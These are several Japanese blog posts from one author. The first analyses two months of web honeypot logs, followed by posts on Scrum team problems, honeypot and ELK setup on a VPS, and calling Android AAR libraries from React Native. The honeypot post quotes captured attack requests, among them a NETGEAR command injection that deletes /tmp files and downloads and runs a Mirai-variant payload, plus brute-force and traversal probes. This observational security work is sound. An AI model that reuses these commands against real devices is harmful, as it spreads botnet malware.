WOWHoneypotを運用して2ヶ月たったのでまとめ
Honeypotとは
Welcome to Omotenashi Web Honeypotの略
攻撃者をもてなし、サイバー攻撃を観察できるハニーポット
github.com
WOWHoenypotの特徴
主な仕組み
-
デフォルト200 OK
400系のエラーコードを返すと、攻撃者は通信を止めてしまうため、取れる情報が少ない→ 200 OKを返すことで、攻撃対象が存在すると誤認させる -
マッチ&レスポンス
特定の通信に対して、特定の応答をするシグネチャを定義しておくことでハニーポットだと気づかれにくくする
→(例:URIにwp-login.phpという文字列が含まれていたら、WordPressのログインページを装う)
WOWHoenypotの応答の様子
やったこと
- WOWHoneypotを外部IPアドレスの80番ポート(*)で公開
(*)実際には権限の少ないユーザ権限を使い8080ポートで動作させ、80→8080へ転送 - HTTPリクエストをログファイルに保存
集計期間 2ヶ月 (2023 07.18-09.17) - ログを集計・分析
合計アクセス数は19305回
結果
リクエストメソッドごとの観測回数
思ったこと
GETとPOSTは多いのは当たり前として、CONNECTとHEADが多いのが気になる
CONNECTメソッドの観測理由
踏み台にするプロキシサーバを探索している
HEADメソッドの観測理由
ログ
HEAD /icons/sphere1.png
HEAD /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png
HEAD /icons/.%2e/%2e%2e/apache2/icons/sphere1.png
Apacheのiconsフォルダへのディレクトリトラバーサル攻撃などが主な原因
アクセスURLごとの観測回数
観測回数の多かったアクセスログ①
Headerのみを変えた /manager/htmlへのGET
ログ
GET /manager/html HTTP/1.1
(*) ユーザ名:パスワード , Base64でデコード済
上記アクセスは約53秒に140回
→Tomcatの管理サーバへの侵入を試みたブルートフォース攻撃を仕掛けている
気になった攻撃ログ「GET /manager/html HTTP/1.1」 - まいほびー
観測回数の多かったアクセスログ②
phpMyAdminの脆弱性を利用した攻撃
phpMyAdminとは:PHPで実装されたMySQL管理のためのWebアプリケーション
ログ
GET http://*.*.*.*/phpMyAdmin/scripts/setup.php
GET http://*.*.*.*/phpMyadmin/scripts/setup.php
GET http://*.*.*.*/myAdmin/scripts/setup.php
GET http://*.*.*.*/MyAdmin/scripts/setup.php
GET http://*.*.*.*/SQL/scripts/setup.php
phpMyAdminを狙った攻撃を深追いしてみた - こんとろーるしーこんとろーるぶい
→探索により対象の存在を確認した上で、外部のFTPサーバから不正なPHPを実行しようとしている
観測回数の多かったアクセスログ③
ネットワーク機器を狙ったOSコマンドインジェクション
ログ
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://*.*.*.*/
Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
- /setup.cgi? の部分
実行するスクリプト名を定義している - next_file=netgear.cfg& の部分
NETGEAR社のNW機器の設定ファイルを狙った攻撃だとわかる
- todo=syscmd&cmd=rm+-rf+/tmp/*; の部分
wget+http://*.*.*.*/Mozi.m+-O+/tmp/netgear;
の部分
特定のURLからMozi.m(*)というファイルをダウンロードし/tmp/netgearとして保存しようとしている
-
sh+netgear&curpath=/¤tsetting.htm=1の部分
ダウンロードしたファイルをシェルスクリプトとして実行させようとしている
(*) マルウェア「Mirai」の亜種
→ ハードウェア (OS) に対して、マルウェアをダウンロードさせコマンド実行させようとしている
感想
参考文献
弊チームのスクラムのモヤモヤ
この投稿について
今のプロジェクトのスクラムに悩みを抱えており、日々問題は大きくなっていると感じる。タイトルに「スクラム」って書いたが、現状スクラムではないと思っている。
具体的な解決には至っておらず、モヤモヤを吐き出すだけのエントリ。
今のプロジェクトについて
新規案件で、立ち上げから1年未満。 案件規模はでかい。私には想像できないくらいのお金がかかっているらしい。
私について
2年目。フルスタックエンジニア(...なのか?)
今のプロジェクトには開発初期から関わっている。スクラム歴は1年くらい。
チームの構成
開発者8人、スクラムマスター1人、PO 5人くらい(???あとで説明する)
今のチームの課題
- ストーリーポイントの誤用
リリース時期と、リリース間でに必要な開発要件がかっちり決まっており、変更が許されない。ちなみにこれは開発者が口出しできない天上人で決められた決定事項である。これがあるため、本来ベロシティを図るための指標であるポイントが、ノルマとして使われている
(例「このスプリントでは何がなんでも〇〇ポイント消化してね」)。 - 厳格な時間管理
上述した厳格なスケジュール管理が起因して、厳格な時間管理をしている。どういうことかというと、タスクばらしの時に見積もったタスク単位の時間と、開発者が開発に充てられる時間を日々比較して、ノルマを達成可能かを見ている。
時間管理に関しては、目安として使うのであれば悪くはないと思うが、大きく2つの問題を生み出している。
1つは、タスクバラシ時点で明らかに時間が足りないと分かっていても、ポイントは減らせないので、後述する必要な作業時間を削って時間を捻出したり、過度な残業でリカバリしていることである(ちなみに、計算時の稼働時間自体も残業前提で計算)。
2つ目は、進捗が芳しくないと、1日の終わりにPOに対応策を伝える会を開催しなければならず、それ自体が無駄である。
-
セレモニーに全員で出ない
残業前提でも時間が足りないので、どうするかというと、セレモニーの参加者を一部メンバーに限定するということを行なっている。
特に、リファインメントに一部のメンバーだけが参加しているのが問題を産んでいる。というのも、一般的なリファインメントは2〜3スプリントのポイント見積もりだが、上述したようにリリース時期が決まっているため、リリースまでのバックログ全部のポイント見積もりをしている。
それにはそれなりに時間を要するが、それも一部の開発メンバーで行なっているため、開発者間でも凄まじい情報格差を生み出している。
共有をしなければならないが、厳密な時間管理をしているせいで、その時間がどこにもない。
- レトロスペクティブを2スプリントに1回しかやらない
贅沢なことに、一つだけ全員での参加が許されているセレモニーがある。レトロスペクティブである(当たり前)。しかし、残念ながら、これもスケジュールの観点で、2スプリントに1回しか許されていないし、その1回も1時間でやらなければならない。だから、問題が生じていても、改善が遅れるし、改善できない。
- POが実質ステークホルダ
POがプロダクトバックログを管理しておらず(システム知識がなく、できないためだと思われる)、バックログ開発者が管理して、POに説明をする。POは要望を言う立場(=ステークホルダ)。
また、なぜかPOが5人くらいいて、あまり連携が取れていないのか、要件を質問してもスムーズな応答がないことがしばしばある。
終わりに
どれも深刻な問題で、本当はチームで話し合って、改善していかなればいけないが、レトロができないためブログで吐き出してみた。当然私個人も一開発者として、原因の一つであり、どういう行動をしていくかはこれから考えて行かなければならない。
一旦吐き出してスッキリしたので、今後何かアクションを起こしてみようと思う。
同じような悩みを抱えている方、このように解決した!などありましたらコメントお願いしますm(_ _)m
ハニーポット運用日記 ~その1~
概要
ハニーポットを運用してみたくなったのでしてみようという日記です。 本記事ではハニーポットの概要説明、サーバのレンタル、ログ分析用のElasticsearch、kibanaの導入までを行います。
ハニーポットとは
①運用者がVPSとかにハニーポットを作る
②攻撃者がハニーポットに攻撃を仕掛ける
③ハニーポットがログを出力する
④ハニーポット運用者(※1)がログを観察する
運用者がログを観察することで、どのような攻撃が仕掛けられるか分析することができる。
(※1) ハニーポットの運用者は巷ではハニーポッターと呼ばれるらしい
ハニーポットの運用時に気を付けること
- ハニーポット自体に脆弱性を作らないこと 脆弱性が見るからにないと攻撃者が去ってしまうので、脆弱性があるように見せかけることが必要。でも脆弱性自体は作らない。
- ハニーポットのサーバについて 自宅サーバは危ないのでレンタルサーバやVPSの利用を考える。その場合は利用規約に則ること
ハニーポットの種類
脆弱性があるように見せかけつつ脆弱性を作らないようなシステムを構築する必要がある。 初心者がそれを一から構築するのは無理なので、ハニーポットツールを利用するのが一般的。
用途別にいろいろある。以下にツール例と特長をまとめる。
ツール名 | 特徴 |
---|---|
T-Pot | 複数のハニーポット技術を統合しており、侵入者とのやり取りを最大限に引き出すことができるオープンソースのハニーポット。 |
Cowrie | SSHとTelnetサーバのエミュレータで、攻撃者がシステムにログインしたと思わせることができる。 |
Kippo | Cowrieの前身であり、現在はあまり使われていないSSHサーバのエミュレータ。 |
Honeyd | ネットワークの脆弱性スキャンのシミュレーションに特化したハニーポット。 |
Dionaea | 主にマルウェアを収集することを目的としており、複数のプロトコルとサービスをエミュレートし、侵入者との対話を可能にする。 |
Glastopf | ウェブアプリケーションのハニーポットであり、ウェブベースの攻撃を検出することに特化している。 |
Snort | オープンソースの侵入検出・防御システム (IDS/IPS)。ネットワークトラフィックを監視し、不正アクセスや攻撃を検出する。ハニーポットとしても使用することができる。 |
レンタルサーバについて
規約を確認した限り、特にハニーポットの利用を禁止するような文言はなかったのでさくらVPSを利用することにしました。
ただし、他のユーザーやインターネット上の他のシステムに影響を与えないよう、十分なセキュリティ対策を講じる必要があります。
- SAKURA internet 規約 www.sakura.ad.jp
さくらVPSは2週間のお試し期間があるので、初めて試すには都合がよいと思います。
https://faq.sakura.ad.jp/s/article/000001231
- サーバのスペック ハニーポット自体を動かすだけであれば1GB等の低メモリで十分ですが、 それ以上に重要なのがログ分析です。 ハニーポットのログ分析には Elasticsearch、Kibana、Logstash(以下で説明) が使われていることが多いようです。
Elasticsearchが動く要件はRAM2G以上なので、さくらVPSで4GBのサーバー(Ubuntu)をレンタルすることにしました。
サーバのレンタルから手元の環境からログイン
サーバのレンタル まず、さくらのVPSに新規登録します。登録したら、新規追加からサーバの作成をします。
管理ユーザのパスワードの設定 管理ユーザ名はデフォルトでubuntuです。管理ユーザのパスワードは、ubuntuユーザのパスワードという意味です。 入力したら、「管理ユーザーのパスワードをダウンロード」をしておきましょう。
公開鍵の設定 お手元の環境でssh鍵を作っておきましょう。以下はmyhoneypodという名前の鍵を作っている例です。
ssh-keygen -t rsa -b 4096 -f ~/.ssh/myhoneypod
作成したら、myhoneypod.pod(自身で設定した名前)の中身を以下に入力します。
後は支払い方法の選択等をします。
作成できたら、手元のLinux環境(WindowsユーザはWSLなど)で、作成したサーバにログインします。
ssh -i ~/.ssh/myhoneypod ubuntu@IPアドレス
以下は、サーバにログインした前提で進めていきます。
Logstash、Elasticsearch、Kibanaの準備
Logstash、Elasticsearch、Kibanaとは www.elastic.co
Logstash イベントを監視し、ログをしかるべき場所に出力するツール
Elasticsearch オープンソースで開発されている分散型データベースシステム
Kibana Elasticsearch内に格納されているデータを可視化できるツール
Logstashのインストール
apt install logstash
Elasticsearchのインストール Ubuntuの場合、Elasticsearchのインストール方法は以下の記事が参考になります。 self-development.info
Kibanaのインストール Kibanaのインストール方法は途中まで以下の記事が参考になります。 はじめての Elasticsearch - Qiita
が、レンタルサーバの場合だとlocalhostにアクセスするところで詰まるので、設定を加えてあげる必要があります。
sudo vi /etc/elasticsearch/elasticsearch.yml
#network.host: 192.168.0.1 network.host: 0.0.0.0
ここまでで、Elasticssearch、kibanaのインストールが完了しました。 次回は、実際にこれらを活用してログを可視化してみたいと思います。
参考
- Cowrie cowrie.readthedocs.io
- T-Pot github.com
- ハニーポットで見るログイン試行 jpn.nec.com
- Kibana "What is Kibana?" www.elastic.co
- Getting Started with Logstash www.elastic.co
- 【ELK】Elasticsearch, Logstash, Kibana でログを可視化してみた blog.pfs.nifcloud.com
- 15分で作る、Logstash+Elasticsearchによるログ収集・解析環境 knowledge.sakura.ad.jp
Android製アプリからReact Native製のアプリを呼び出してさらにAndroid製のアプリを呼ぶ
やりたいこと
Android製のアプリから呼ぶReact Nativeが、別のAndroidアプリ(aar形式)を呼んでても問題ないかを検証したいです。
成果物
やりたいことのイメージ
やりたいことを図で示すとこんな感じ
頭の中のもやもや
クロスプラットフォームをうたっているReact Nativeなのでえきそうですが、私の頭の中には以下のもやもやがありました。
図は開発者が触れる形式でのファイル形式を示しています。
アプリBとアプリCはできていてそれをSDKとして配布することを考えていて、アプリAは全く知らない人が作るイメージです。そのため、アプリBとアプリCはソースコードではなくパッケージ化する必要があります。
~もやもや~
①React NativeのBundleとaarの関連
React Nativeはjsコードとネイティブコードがあるので、生成物はバンドルファイルとaarファイルの2つ。React Nativeプロジェクト内ではReact Native→Android の呼び出しができることを以下記事で確認したけど、それぞれパッケージとして分離したときにブリッジ呼びだしとかどうなる?
②アプリCのaarの依存関係はアプリA/Bどちらに持たせるか アプリCのAARはアプリBに依存関係を持たせる?アプリAに依存関係を持たせる?(どっちのbuild.gradleに書く?)
③そもそもできるの?本当に?
結論
③→できる
①React NativeのBundleとaarの関連
アプリA側で適切に呼べば、アプリBのBundleファイルとaarファイルの関係性は意識しなくて大丈夫でした。
React Nativeのブリッジに使うネイティブコードをaar化したとしても、それはもうただのaar(部品)
ただし、アプリAでブリッジの依存関係をgradleに記述する必要があります。
②アプリCのaarの依存関係はアプリA/Bどちらに持たせるか
アプリAに持たせる(アプリBには持たせなくてよい)でできました。
※アプリBのネイティブコードに入れられればアプリAからアプリCを意識しなくてよいので、そちらの方がよいかも。(後日検証します)
ーーーーーーーーーー
(現状)
普通にやると以下のエラー
Direct local .aar file dependencies are not supported when building an AAR. The resulting AAR would be broken because the classes and Android resources from any local .aar file dependencies would not be packaged in the resulting AAR
ローカルMavenリポジトリにaarファイルをインストールし、プロジェクトに依存関係を追加すればできるかもしれない
ーーーーーーーーーー
やり方
Ⅰ. アプリCを作成
aar化するため、New ModuleからAndroid Libraryとして作成。パッケージ名はappCLibraryとします。
- AppCActivity.javaを作成 アプリCの起動用のアクティビティ
package com.example.appclibrary; import android.os.Bundle; import android.widget.TextView; import androidx.appcompat.app.AppCompatActivity; public class AppCActivity extends AppCompatActivity { private TextView textView; private boolean buttonTap = false; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }
- aar化 ライブラリのルート(/appCLibrary)
./gradlew :appCLibrary:build
Ⅱ. アプリBを作成
- ネイティブ部分のライブラリを用意 パッケージ名はappBLibrary。手順はappCと同様。
ビルド時にエラーにならないようにするため、build.gradleに以下を追加
implementation "com.facebook.react:react-native:+" // From node_modules
com.facebook.react:react-native:を使えるようにするためにreact nativeプラグインが必要となるため、その方法については下記記事参照。 teisyoku-tabetai.hatenablog.com
package com.example.appBLibrary; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.bridge.ReactContextBaseJavaModule; import com.facebook.react.bridge.ReactMethod; import java.util.HashMap; import java.util.Map; import android.content.Context; import android.content.Intent; public class CallAppCModuleextends ReactContextBaseJavaModule { private static final String REACT_CLASS = "CallAppC"; private final ReactApplicationContext reactApplicationContext; public AndroidScreenModule(ReactApplicationContext reactApplicationContext) { super(reactApplicationContext); this.reactApplicationContext = reactApplicationContext; } @Override public String getName() { return "CallAppC"; } @ReactMethod public void moveAndroidScreen() throws InterruptedException { Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setClassName(reactApplicationContext, "com.example.appclibrary.AppCActivity "); // アプリCの起動用モジュールを設定 reactApplicationContext.startActivity(intent); } }
- CallAppCPackage.java
package com.example.appBLibrary; import com.facebook.react.ReactPackage; import com.facebook.react.bridge.NativeModule; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.uimanager.ViewManager; import java.util.ArrayList; import java.util.Collections; import java.util.List; public class CallAppCPackage implements ReactPackage { @Override public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) { return Collections.emptyList(); } @Override public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) { List<NativeModule> modules = new ArrayList<>(); modules.add(new CallAppCModule(reactContext)); return modules; } }
- AAR化
./gradlew :appBLibrary:build
- App.tsxを用意
import React from 'react'; import { Text, Button, NativeModules, View, StyleSheet } from 'react-native'; const { CallAppC } = NativeModules; export default function App() { const onPressExampleButton = () => { CallAppC.moveAndroidScreen(); }; return ( <View style={styles.container}> <Text style={styles.text}>アプリB</Text> <Text style={styles.text}>React Native</Text> <Button title="アプリCへ遷移" onPress={onPressExampleButton} /> </View> ); } const styles = StyleSheet.create({ container: { flex: 1, justifyContent: 'center', alignItems: 'center', }, text: { fontSize: 20, textAlign: 'center', margin: 30, }, })
- バンドル化
npx react-native bundle --platform android --dev false --entry-file index.js --bundle-output android/app/src/main/assets/index.android.bundle --assets-dest android/app/src/main/res
Ⅲ. アプリAを作成
MyApplicationというプロジェクトで作成
- MainAcivity.java 起動用のクラス。
package com.example.myapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.widget.Button; import android.widget.TextView; public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button button = findViewById(R.id.button); textView = findViewById(R.id.text_view); button.setOnClickListener( v -> { this.onClick(); }); } public void onClick() { Intent intent = new Intent(); intent.setClassName(getApplicationContext(), "com.example.appblibrary.MyReactActivity"); startActivity(intent); } }
- MyReactNativeActivity React Native起動用のクラス
package com.example.myapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.widget.Button; import android.widget.TextView; public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button button = findViewById(R.id.button); textView = findViewById(R.id.text_view); button.setOnClickListener( v -> { this.onClick(); }); } public void onClick() { Intent intent = new Intent(); intent.setClassName(getApplicationContext(), "com.example.myapplication.MyReactActivity"); startActivity(intent); } }
- MyReactActivity(【※重要】) React NativeのBundleファイルを登録するActivity。 ★で示したところにjsと通信するネイティブコードのPackageを追加することで、React Nativeのブリッジを使用することができます。
package com.example.myapplication; import android.app.Activity; import android.os.Bundle; import android.view.KeyEvent; import com.facebook.react.PackageList; import com.facebook.react.ReactInstanceManager; import com.facebook.react.ReactPackage; import com.facebook.react.ReactRootView; import com.facebook.react.common.LifecycleState; import com.facebook.react.modules.core.DefaultHardwareBackBtnHandler; import com.facebook.soloader.SoLoader; import java.util.List; public class MyReactActivity extends Activity implements DefaultHardwareBackBtnHandler { private ReactRootView mReactRootView; private ReactInstanceManager mReactInstanceManager; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); SoLoader.init(this, false); mReactRootView = new ReactRootView(this); List<ReactPackage> packages = new PackageList(getApplication()).getPackages(); // Packages that cannot be autolinked yet can be added manually here, for example: packages.add(new com.example.appblibrary.CallAppCPackage ()); //★ アプリBネイティブコードのパッケージを登録 // Remember to include them in `settings.gradle` and `app/build.gradle` too. mReactInstanceManager = ReactInstanceManager.builder() .setApplication(getApplication()) .setCurrentActivity(this) .setBundleAssetName("index.android.bundle") .setJSMainModulePath("index") .addPackages(packages) .setUseDeveloperSupport(true) .setInitialLifecycleState(LifecycleState.RESUMED) .build(); // The string here (e.g. "MyReactNativeApp") has to match // the string in AppRegistry.registerComponent() in index.js mReactRootView.startReactApplication(mReactInstanceManager, "integratedAndroidScreen", null); setContentView(mReactRootView); } @Override public void invokeDefaultOnBackPressed() { super.onBackPressed(); } }
作成した2つのaarをapp/libs以下に配置
アプリAのgradleにアプリB、アプリCの依存関係を追加
implementation files('libs/appBLibrary-release.aar') implementation files('libs/appCLibrary-release.aar')
まとめ
aarは部品と思ってしまえばよい。アプリA側でやることは以下になりそう。
- app/libsにaar配置
- build.gradleに依存関係を追記
- src/main/assets/にbundleファイルを追加
- ①バンドルフィルを呼ぶ、と②React Nativeのブリッジに使用するパッケージをPackage.addに書くためのActivityを追加(わんちゃん、これもアプリBのパッケージに含めてしまえばよい...?)
React Nativeからaar形式のアプリを呼び出す
やりたいこと
aar形式のアプリケーションが配布されてて、それをReact Nativeアプリから呼び出したい。
完成したもの
そもそもaarとは
Androidアプリケーションやライブラリプロジェクトを配布するためのバイナリ形式。
Androidライブラリプロジェクトのコンパイル済みコード、リソース、およびメタデータを1つのアーカイブにまとめたもの。
これにより、再利用可能なコンポーネントを簡単に他のAndroidアプリケーションに組み込むことができる。
やってみる
3つの手順に分けて説明していきます。
Ⅰ. Androidで画面遷移を作る
Ⅱ. 遷移先の画面をAAR化
Ⅲ. 遷移前の画面をReact Nativeにする
いきなりReact NativeからAARを呼び出したらなんだかもやっとなりそうなので、
Ⅰ. Android(Java)コード→Android(Java)コード
Ⅱ. Android(Java)コード→AAR
Ⅲ. React Nativeコード→AAR
と段階を踏んでいきますが、周りくどかったら思いっきり下までスクロールしてください。
Ⅰ. Androidで画面遷移を作る
Android Studioでアンドロイドプロジェクトを作成 File → New → New Project
モジュールを作成 File → New Module → Android Library
プロジェクト直下に、上で指定した名前のライブラリができていればok。(以下mylibraryとして説明)
appディレクトリ配下にも通常通りJavaファイルを置けるが、aar形式に変換されるのは「mylibrary」以下のもの。
なので、ライブラリ化したコードは「mylibrary」のsrcディレクトリに入れる。
- モジュールに画面を書いてみる aar化する前にプロジェクトのソースディレクトリ(app/src/)のコードからモジュールの画面を呼び出してみたいと思います。(蛇足的かもしれませんが) 今はモジュールってなに?状態なので普通にコード書けるよ(aarに変換できる場所ってだけだよ)ってことを確かめてみたかったので。
「mylibrary/java/com/example/mylibrary/」以下にModule用のActivityを作成します。
package com.example.mylibrary; import android.os.Bundle; import android.widget.TextView; import androidx.appcompat.app.AppCompatActivity; public class ModuleActivity extends AppCompatActivity { private TextView textView; private boolean buttonTap = false; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }
なんの変哲もないActivityです。
AndroidManifest.xmlとresフォルダも作ります。
AndroidManifest.xmlは以下。resは割愛
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools"> <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" tools:targetApi="31"> <activity android:name="com.example.mylibrary.ModuleActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
次に、いったんModuleから離れてプロジェクトのディレクトリ(「/app/java/com/example/aarlibrary」)にmylibrary以下のコードを呼び出すActivityを書きます。
package com.example.aarlibrary; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.widget.Button; import android.widget.TextView; public class MainActivity extends AppCompatActivity { private TextView textView; private boolean buttonTap = false; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button button = findViewById(R.id.button); textView = findViewById(R.id.text_view); button.setOnClickListener( v -> { this.onClick(); }); } public void onClick() { Intent intent = new Intent(); intent.setClassName(getApplicationContext(), "com.example.mylibrary.ModuleActivity"); startActivity(intent); } }
layoutフォルダもちろっといじりましたが、appディレクトリの画面からモジュールの画面を呼ぶことができました。
ここから遷移元の画面をReact Nativeにしていきます。 後、遷移先の画面はまだaar化していませんが、これからaar化していきます。
Ⅱ. AndroidモジュールをAAR化
build.gradleの設定変更 ビルド時にAPKではなくAARファイルで出力するために、app/build.gradleに以下の設定をします。
applicationIdを削除する
- pluginsブロックで宣言されているidを'com.android.application'から'com.android.library'にする
plugins { id 'com.android.library' // after // id 'com.android.application' //before } android { ... defaultConfig { // applicationを削除 ... } }
- ビルドする プロジェクトのルートディレクトリで以下を実行
./gradlew clean build
ビルドに成功すれば、mylibrary/build/outputs/aar以下にaarファイルが出力されていると思います。
Androidからaarを呼ぶ 今までは同一プロジェクトのネイティブコードから画面を呼んでいましたが、ここからはaarを呼びます。 といってもやることはたったの2つです。
aarを配置
- gradleに依存関係を追記 -(後は呼び出すだけ)
まず、aarを呼びたいプロジェクトのapp/libs配下にaarファイルをコピーします。 もしこの記事と同じ手順でやっている方がいたら、プロジェクトは新しく作っても、先のプロジェクトからモジュール部分を削除して使ってもよいです。
次にapp/gradleに以下を記述します。
implementation files('libs/mylibrary-release.aar')
最後に、画面を呼び出すActivityで呼び出すクラス名を変更します。 クラス名はAARのパッケージ名に合わせます。
- MainActivity.java
intent.setClassName(getApplicationContext(), "com.example.mylibrary.ModuleActivity");
これで、aarファイルから画面を呼び出すことができました。
Ⅲ. React NativeからAARを呼び出す。
React NativeからAARを呼び出すと書きましたがブリッジの仕組みを使えば
①React NativeからAndroidのネイティブコードを呼び出して
②AndroidからAARを呼び出す
に言い換えられます。
②はもうクリアしています。
また、①は以下の記事で説明させていただいているのでご参照ください。
teisyoku-tabetai.hatenablog.com
なのであとはやるだけになります。
- aarをReact Nativeプロジェクトに配置後、Gradleの依存関係を追加 aarをandroid/app/libs以下に格納。 app/build.gradleに以下を追加
implementation files('libs/mylibrary-release.aar')
package com.integratedandroidscreen; import java.util.HashMap; import java.util.Map; import android.content.Intent; import androidx.annotation.NonNull; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.bridge.ReactContextBaseJavaModule; import com.facebook.react.bridge.ReactMethod; import com.facebook.react.bridge.Callback; import com.facebook.react.bridge.Promise; import com.facebook.react.bridge.WritableMap; import com.facebook.react.bridge.Arguments; import com.facebook.react.modules.core.DeviceEventManagerModule; public class AndroidScreenModule extends ReactContextBaseJavaModule { private static final String REACT_CLASS = "AndroidScreen"; private final ReactApplicationContext reactApplicationContext; public AndroidScreenModule(ReactApplicationContext reactApplicationContext) { super(reactApplicationContext); this.reactApplicationContext = reactApplicationContext; } @Override public String getName() { return "AndroidScreen"; } @ReactMethod public void moveAndroidScreen() throws InterruptedException { Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setClassName(reactApplicationContext, "com.example.mylibrary.ModuleActivity"); reactApplicationContext.startActivity(intent); } }
- AnndroidScreenPackage
package com.integratedandroidscreen; import java.util.ArrayList; import java.util.Collections; import java.util.List; import com.facebook.react.ReactPackage; import com.facebook.react.bridge.NativeModule; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.uimanager.ViewManager; public class AndroidScreenPackage implements ReactPackage { @Override public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) { return Collections.emptyList(); } @Override public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) { List<NativeModule> modules = new ArrayList<>(); modules.add(new AndroidScreenModule(reactContext)); return modules; } }
- MainApplication
@Override protected List<ReactPackage> getPackages() { @SuppressWarnings("UnnecessaryLocalVariable") List<ReactPackage> packages = new PackageList(this).getPackages(); packages.add(new AndroidScreenPackage()); // ★ここだけ追加 return packages; }
実行
npx react-native run-android
するといくつかのエラーが派生。
- エラー①
* What went wrong: Execution failed for task ':app:processDebugMainManifest'. > Manifest merger failed : Attribute application@allowBackup value=(false) from AndroidManifest.xml:12:7-34 is also present at [mylibrary-release.aar] AndroidManifest.xml:9:9-35 value=(true). Suggestion: add 'tools:replace="android:allowBackup"' to <application> element at AndroidManifest.xml:7:5-12:19 to override.
aarのAndroidManifest.xmlとプロジェクトのものが競合してるらしく、applicationに以下を追加で解決。
<application ... tools:replace="android:allowBackup" ... >
- エラー②
uses-sdk:minSdkVersion 21 cannot be smaller than version 24 declared in library [mylibrary-releas.aar]
Sdkのバージョンがaarでは最低24なのにReact Nativeの方で21になっているというエラーのため、build.gradleのbuildscript部分を下記のように変更
buildscript { ext { ... minSdkVersion = 24 // 修正後 ... } }
- エラー③
* What went wrong: Execution failed for task ':app:processDebugResources'. > A failure occurred while executing com.android.build.gradle.internal.res.LinkApplicationAndroidResourcesTask$TaskAction > Android resource linking failed ERROR:C:\xxx\integratedAndroidScreen\android\app\build\intermediates\incremental\debug\mergeDebugResources\merged.dir\values\values.xml:2170: AAPT: error: resource attr/colorPrimaryVariant (aka com.integratedandroidscreen:attr/colorPrimaryVariant) not found.
androidアプリの画面作成に必要なマテリアルが見つからないというエラーのため、以下の依存関係(aar化したgradleには存在していた)を追加で解決。
implementation 'com.google.android.material:material:1.8.0'
以上までで、冒頭に示したようにReact Nativeからaar形式のアプリ呼び出しを実現できることができました。 React Nativeへのaar組み込みはできるにはできますが、バージョンの互換性だったりbuild.gradleの依存関係だったりには少し注意を払う必要がありそうです。
参考文献
React NativeからAndroid呼び出し(Java)
やりたいこと
React NativeからAndroidの画面を呼び出したいです。
実現したいこと
React Native(JavaScript)の画面からAndroid(Java)の画面に遷移したいです。
ネイティブモジュールを使えばできそうですが、Androidアプリの開発経験すらない初心者ですので、やってみます。 reactnative.dev
全体の流れ
経験者の方には「ネイティブモジュールを使って画面遷移なんて簡単じゃん」と思われそうですが、 当方React NativeはおろかAndroidアプリの開発経験すらないので、あまりイメージが湧きません。 そこで、 Ⅰ. ネイティブモジュールを呼び出してみて Ⅱ. ネイティブモジュールで画面遷移をする という流れで進めていきたいと思います。
以下はReact Nativeのプロジェクトが作成されている前提ですので、プロジェクトがない場合はこちら等をご参照ください。 teisyoku-tabetai.hatenablog.com
Ⅰ. ネイティブモジュール呼び出し
ネイティブモジュールとして呼び出すネイティブコードは、Androidの場合android/app/src/main/java/com/プロジェクト名/ 配下にあります。]
初期の時点で、MainActivity.javaファイルとMainApplication.javaがありますが、それぞれの意味はざっくり以下です。
- MainActivity:React Nativeアプリケーションの起動を制御。アプリケーションのエントリーポイントとなるReactコンポーネントを指定する役割を果たす。
- MainApplication:React NativeプロジェクトのAndroidアプリケーションレベルの設定と初期化を行う。
Androidプロジェクトでアプリケーションを作成する場合、MainActivityは起動する画面になりますが、React Nativeプロジェクトの場合はReact Nativeの画面に関係、つまりAndroidとして別の画面を作るなら別のActivityに書くよ、ということが伝わればここではOKです。
import React from 'react'; import { Text, Button, NativeModules, View, StyleSheet } from 'react-native'; const { AndroidScreen } = NativeModules; //ネイティブモジュール読み込み export default function App() { const onPressExampleButton = () => { AndroidScreen.getAnimalName((animal) => console.log(animal)); }; return ( <View style={styles.container}> <Text style={styles.text}>React Nativeの画面です</Text> <Button title="かわいい動物の名前" onPress={onPressExampleButton} /> </View> ); } const styles = StyleSheet.create({ container: { flex: 1, justifyContent: 'center', alignItems: 'center', }, text: { fontSize: 20, textAlign: 'center', margin: 30, }, })
ここで「かわいい動物の名前」ボタンを押すと、JavaScriptのコンソールでかわいい動物の名前が出力されるようにしたいです。 ネイティブブリッジを使うため、Javaにコードを書きます。
- AndroidScreenPackage
